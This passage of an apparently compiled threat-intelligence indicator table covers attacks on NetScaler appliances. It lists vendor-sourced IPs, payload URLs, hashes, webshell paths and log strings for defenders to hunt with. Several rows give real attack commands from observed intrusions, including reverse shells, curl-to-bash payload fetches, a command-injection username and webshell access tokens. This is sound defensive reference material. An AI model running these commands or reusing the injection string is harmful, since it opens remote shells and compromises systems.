| IPv4 | 134.175.71.50 | Arctic Wolf [72] | Payload host on port 4123 | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 177.4.12.11 | Arctic Wolf [72] | Served /s?t=a, b and c on port 8080, piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://64.94.85.67:443/update_c08937.pl | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | Fetched with curl and piped to perl inside the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://62.133.62.80:80/xd7h/x | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | First payload fetched by the appliance | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://62.133.62.80:80/xd7h/nsmon.pl | Arctic Wolf [72] | nsmon.pl implant download | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://23.27.143.20:9000/main.py | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | Python payload download | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://153.75.82.220/download/x.sh | Arctic Wolf [72] | Shell payload, piped to bash | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Domain | entretiensol.com | Arctic Wolf [72]; eSentire TRU blog [99] | Served a Platypus agent over HTTPS (/api/v1/install/...). eSentire also gives the artifact download path format https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.nsmon/nsmon.pl | Arctic Wolf [72] | nsmon.pl copies itself here with 0755 permissions | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/1.py | Arctic Wolf [72] | main.py saved here before execution | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.s | Arctic Wolf [72] | File path listed by Arctic Wolf | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Cron entry | */5 * * * * root perl /var/tmp/.nsmon/nsmon.pl >/dev/null 2>&1 | Arctic Wolf [72] | Cron entry nsmon.pl attempts to add to /etc/crontab or /nsconfig/crontab (attempted persistence); includes the output redirect in Arctic Wolf's original | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Network | TCP listener on 41000-41999 | Arctic Wolf [72] | nsmon.pl attempts to listen on 0.0.0.0 on a configured port or a free port in this range | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 78.47.24.217 | Unit 42 (Palo Alto Networks) [153] | Fingerprinting 21-22 Aug; part of the 21 Sep three-stage webshell drop | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 66.135.19.18 | Unit 42 (Palo Alto Networks) [153] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 167.99.111.203 | Unit 42 (Palo Alto Networks) [153] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 142.93.85.227 | Unit 42 (Palo Alto Networks) [153] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 104.248.74.206 | Unit 42 (Palo Alto Networks) [153] | One of four VPSs (one per day, 4-8 Sep) requesting nsgclient18.deb and nsgser18.deb | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 137.184.91.207 | Unit 42 (Palo Alto Networks) [153] | Requested the same .deb files on 7 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 162.33.178.9 | Unit 42 (Palo Alto Networks) [153] | Requested nsgbuild.deb and nsgsupport.deb on 14 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 193.149.176.207 | Unit 42 (Palo Alto Networks) [153] | Requested nsgbuild.deb daily 15-24 Sep (most of the requests Unit 42 saw) and GetUserName | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 45.61.136.143 | Unit 42 (Palo Alto Networks) [153] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 66.227.183.84 | Unit 42 (Palo Alto Networks) [153] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 216.245.184.164 | Unit 42 (Palo Alto Networks) [153] | Listed in the Unit 42 network indicators | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 104.28.215.137 | Unit 42 (Palo Alto Networks) [153] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.247.136 | Unit 42 (Palo Alto Networks) [153] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.215.136 | Unit 42 (Palo Alto Networks) [153] | Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| IPv4 | 104.28.247.137 | Unit 42 (Palo Alto Networks) [153] | GetUserName request stream 10-27 Sep (Cloudflare WARP) | Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs. | Public blog, no TLP marking |
| SHA-256 | ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec | Unit 42 (Palo Alto Networks) [153] | nsg64.deb PHP webshell: RC4-encrypted C2 with exec, upload and file exfiltration; privilege escalation through the legitimate SUID binary /var/netscaler/.ns_suidcmd | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| SHA-256 | 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d | Unit 42 (Palo Alto Networks) [153] | Text of Unit 42 Figure 1 (Base64 payload) | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts. | Public blog, no TLP marking |
| SHA-256 | 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 | Unit 42 (Palo Alto Networks) [153] | Text of Unit 42 Figure 2 (decoded shell script) | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsg64.deb | Unit 42 (Palo Alto Networks) [153] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgser18.deb | Unit 42 (Palo Alto Networks) [153] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgsupport.deb | Unit 42 (Palo Alto Networks) [153] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgpackage64.deb | Unit 42 (Palo Alto Networks) [153] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgbuild.deb | Unit 42 (Palo Alto Networks) [153] | .deb webshell name requested 4-24 Sep | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /logon/LogonPoint/Authentication/GetUserName | Unit 42 (Palo Alto Networks) [153] | Continuous request stream 10-27 Sep; Unit 42 believes any activity to this path is anomalous | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| URI path | /admin_ui/common/css/ns/ui.css | Unit 42 (Palo Alto Networks) [153] | Requested 21-22 Aug for version fingerprinting | Legitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources. | Public blog, no TLP marking |
| URI path | /vpn/js/rdx/core/lang/rdx_en.json.gz | Unit 42 (Palo Alto Networks) [153] | Requested 21-22 Aug for version fingerprinting | Legitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources. | Public blog, no TLP marking |
| Cookie value | e826d7ddf3c85920 | Unit 42 (Palo Alto Networks) [153] | CsrfToken value that unlocks the .ctxs.receiver webshell; the NSC_TASS cookie carries the command | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Unit 42 calls it a per-implant password; other intrusions may use other tokens. | Public blog, no TLP marking |
| RC4 key | 7489a0f93c67fa5cdaeb4b921d90594d | Unit 42 (Palo Alto Networks) [153] | nsg64.deb C2 key: MD5 of the hard-coded passphrase Rhfajaf1H992; operators authenticate with the k parameter | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| Command | chmod 6555 /bin/sh | Unit 42 (Palo Alto Networks) [153] | First step of the decoded .ctxs.receiver installer: sets SUID and SGID on /bin/sh | Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. | Public blog, no TLP marking |
| IPv4 | 45.76.34.141 | Sygnia [73] | Sygnia confidence High: observed in malicious AAA events | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 170.64.176.26 | Sygnia [73] | Sygnia confidence High: associated with activity in an active IR investigation | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 209.250.236.77 | Sygnia [73] | Sygnia confidence Medium: time-correlated with exploit-style activity | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 138.68.21.29 | Sygnia [73] | Sygnia confidence Medium: strong temporal and service-path correlation | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /var/netscaler/gui/vpn/scripts/linux/1bd8a664.sig | Sygnia [73] | Suspicious .sig file in a web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /netscaler/ns_gui/vpn/c88771.json | Sygnia [73] | Suspicious JSON artefact in the VPN web directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File path | /var/netscaler/logon/insight-new.js | Sygnia [73]; LevelBlue SpiderLabs (THOR team) [82] | Target of an attempted copy of /flash/nsconfig/ns.conf (configuration exposure) | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| File path | /netscaler/ns_gui/admin_ui/e.txt, /netscaler/ns_gui/admin_ui/log.txt (and /var/netscaler/gui/admin_ui/ equivalents) | Poppelgaard [75] | Files the payloads write stolen data or loaders into (Gotham + Deyda, via the Poppelgaard checker v1.7): path, size and date are shown by the checker, never the contents - they can hold configuration data. Preserve and inspect them securely. | Hunting lead from a compiled checker list; a file existing here can also be your own admin UI output - check size and mtime before treating it as compromise. | Public GitHub repository, no TLP marking |
| File name | 80974ca9.sig | Sygnia [73] | Artefact in a NetScaler web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| File name | LoginIcon.sig | Sygnia [73] | Artefact in a NetScaler web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Apache directive | AddHandler application/x-httpd-php .css | Sygnia [73] | Makes CSS-looking files run as PHP | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Apache directive | AddHandler application/x-httpd-php .ico | Sygnia [73] | Makes icon-looking files run as PHP | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| NetScaler log line | AAA LOGIN_FAILED: User pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - Client_ip 64.94.85.67 - Failure_reason "External authentication server denied access" | Arctic Wolf [72] | Failed login with the injected command as the username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | AAA LOGIN REQ: parsed data; username: <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X> | Arctic Wolf [72] | AAA parses the injected username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X>, factor <...>, auth type 4129 | Arctic Wolf [72] | SSLVPN message passing the username to aaad. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | Authentication delegated to Packet engine for pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X, trying to find appropriate action with bitmask 1 | Arctic Wolf [72] | AAATM message. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72:9090/lula | Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72/lula | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72/kk | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://68.178.160.183:8899/test111 | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://68.178.160.183:8888/test | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://89.44.80.7:65456/exec-ok | Arctic Wolf [72] | Execution-check callback | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://89.44.80.7:65456/$(id|base64 -w0) | Arctic Wolf [72] | Callback carrying Base64 id output | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://130.94.42.226:18805/?t=<REDACTED> | Arctic Wolf [72] | Callback (token redacted by Arctic Wolf) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://134.175.71.50:4123/1 | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=a | Arctic Wolf [72] | Fetched with curl -sk and piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=b | Arctic Wolf [72] | Fetched with curl -sk and piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=c | Arctic Wolf [72] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | https://entretiensol.com:443/api/v1/install/<REDACTED> | Arctic Wolf [72] | Platypus agent install, fetched with curl -fsSL --tlsv1.2 -k (path redacted by Arctic Wolf) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | /bin/sh -i >& /dev/tcp/45.141.21.130/443 0>&1 | Arctic Wolf [72] | Bash reverse shell, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | nc -e /bin/sh 89.44.80.7 58963 | Arctic Wolf [72] | Netcat reverse shell, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | id|base64 -w0 | Arctic Wolf [72] | Command-output exfiltration over HTTP, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | curl -fsSL http://153.75.82.220/download/x.sh | bash | Arctic Wolf [72] | Remote shell script execution, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | curl -sk 177.4.12.11:8080/s?t=a|sh | Arctic Wolf [72] | Remote shell script execution, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 70.172.58.168 | LevelBlue SpiderLabs (THOR team) [82] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 162.243.36.88 | LevelBlue SpiderLabs (THOR team) [82] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 173.40.135.209 | LevelBlue SpiderLabs (THOR team) [82] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 47.230.224.154 | LevelBlue SpiderLabs (THOR team) [82] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| SHA-256 | e9fe43968c6c0955300e3bc4d7fb0b05a18570b4733aaf4f5c6f7f09be5a242c | LevelBlue SpiderLabs (THOR team) [82] | main.py: overwrites /var/python/bin/customsnmpd with a Python reverse shell to 45.141.21.130:443 and kills the running customsnmpd | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| URL | http://64.94.85.67:443/update_result_3567cs.tgz | LevelBlue SpiderLabs (THOR team) [82] | Upload target for the archived /flash/nsconfig (attempted upload; LevelBlue does not confirm the data left) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /tmp/update_result_3567cs.tgz | LevelBlue SpiderLabs (THOR team) [82] | Archive of /flash/nsconfig staged by update_c08937.pl, then deleted with the script itself; absence does not mean it did not run | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/.local_journal | LevelBlue SpiderLabs (THOR team) [82] | PHP webshell (command execution, upload, download) installed by update_c08937.pl | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/xua.html | LevelBlue SpiderLabs (THOR team) [82] | tar archive of /flash/nsconfig written into the web directory (configuration staging) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/python/bin/customsnmpd | LevelBlue SpiderLabs (THOR team) [82] | Overwritten by main.py with a reverse shell; unexpected modification or execution is a lead | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| Account | sec_monitor | LevelBlue SpiderLabs (THOR team) [82] | Local superuser added to /flash/nsconfig/ns.conf by update_c08937.pl | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| URL alias | LogonUISimple.html.style.min.css | LevelBlue SpiderLabs (THOR team) [82]; eSentire TRU blog [99] | CSS-looking alias (and hex variants) mapped in httpd.conf to the .local_journal webshell. eSentire gives the full form: Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css plus AliasMatch ^/logon/LogonPoint/css/LogonUISimple\.html\.style\.min\.[0-9a-f]+\.css$ (note the /css/ directory) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;whoami;# X | LevelBlue SpiderLabs (THOR team) [82] | Command-execution test in an authentication username | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/tmp/.nsmon/.cfg | Arctic Wolf [72] | nsmon.pl configuration values | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.nsmon/.state | Arctic Wolf [72] | nsmon.pl state file used to check whether a recorded process is still running | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URI path | /logon/LogonPoint/custom/receiver.min..css | Sygnia [73] | Request path as listed by Sygnia (two dots), consistent with the receiver.min.<hex>.css webshell alias | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE; | Sygnia [73] | Sygnia confidence High: new command-injection variant | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Log string | pitboss PPE missed too many heartbeats NSPPE; | Sygnia [73] | Sygnia confidence High: heartbeat loader variant | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 195.123.233.245 | TENEX [74] | Primary Platypus C2 node (443); entretiensol.com and white-guard.pro resolve here | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 38.180.81.157 | TENEX [74] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 95.133.231.109 | TENEX [74] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 104.200.67.56 | TENEX [74] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | white-guard.pro | TENEX [74] | Resolves to the primary C2 node | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | garyvard.com | TENEX [74] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | hickoryusedauto.com | TENEX [74] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | gurerasfalt.com | TENEX [74] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | rockinroyaltykids.com | TENEX [74] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | currydownsrvpark.com | TENEX [74] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| TLS cert SHA-256 | 38b7c597c3f33f2caa2b2de9873f15cf9cb9984b0eacb801ef4b654a96ba9bd0 | TENEX [74] | Shared cluster certificate (subject platypus-ingress, issuer Platypus project default); ties the four C2 nodes together | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Cert URI SAN | platypus://server/default | TENEX [74] | Platypus framework certificate identity scheme; hunt by pattern, not only the exact fingerprint | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Signing key | S8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs= | TENEX [74] | Ed25519/minisign public key embedded in every agent build; the best cross-build pivot | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
